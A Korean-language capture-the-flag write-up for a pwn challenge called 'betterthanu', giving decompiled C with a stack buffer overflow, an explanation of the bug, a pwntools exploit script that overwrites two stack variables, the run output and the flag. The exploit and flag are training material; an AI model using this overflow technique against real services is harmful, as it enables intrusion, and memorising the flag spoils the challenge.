Description
I bet you can’t beat a single one of my plays!
nc chal.osugaming.lol 7279
Decompiled-src (challenge)
이미 소스코드 파일인 challenge.c가 있으나 그냥 한번 디컴파일해보았다.
int __cdecl main(int argc, const char **argv, const char **envp) { char s[16]; // [rsp+0h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+10h] [rbp-10h] unsigned int v6; // [rsp+1Ch] [rbp-4h] setbuf(stdin, 0LL); setbuf(stdout, 0LL); printf("How much pp did you get? "); fgets(s, 100, stdin); v6 = atoi(s); v5 = v6 + 1; puts("Any last words?"); fgets(s, 100, stdin); if ( v5 < v6 ) { puts("What??? how did you beat me??"); puts("Hmm... I'll consider giving you the flag"); if ( v6 == 0x2D7 ) { printf("Wait, you got %d pp?\n", 0x2D7LL); printf("You can't possibly be an NPC! Here, have the flag: "); flag_file = fopen("flag.txt", "r"); fgets(flag, 100, flag_file); puts(flag); } else { puts("Just kidding!"); } } else { printf("Ha! I got %d\n", v5); puts("Maybe you'll beat me next time"); } return 0; }
Solution
s 지역변수의 크기는 16바이트이지만,
fgets 함수를 통해 100바이트만큼 입력받을 수 있으므로 버퍼 오버플로우가 발생한다.
따라서, 스택의 크기와 위치를 잘 계산해
v5값을 v6값보다 작도록 조건을 만족시키고, v6값을 0x2d7값으로 덮어쓰도록 만들면 된다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') #p = process("./challenge") p = remote("chal.osugaming.lol", 7279) p.sendlineafter("How much pp did you get? ", "0") p.sendlineafter("Any last words?\n", b"A"*16 + b"\x00"*8 + b"B"*4 + p32(0x2d7)) p.interactive()
Result
seo@seo:~/Documents/betterthanu$ python3 solve.py [+] Opening connection to chal.osugaming.lol on port 7279: Done [*] Switching to interactive mode What??? how did you beat me?? Hmm... I'll consider giving you the flag Wait, you got 727 pp? You can't possibly be an NPC! Here, have the flag: osu{i_cant_believe_i_saw_it} [*] Got EOF while reading in interactive $
FLAG
osu{i_cant_believe_i_saw_it}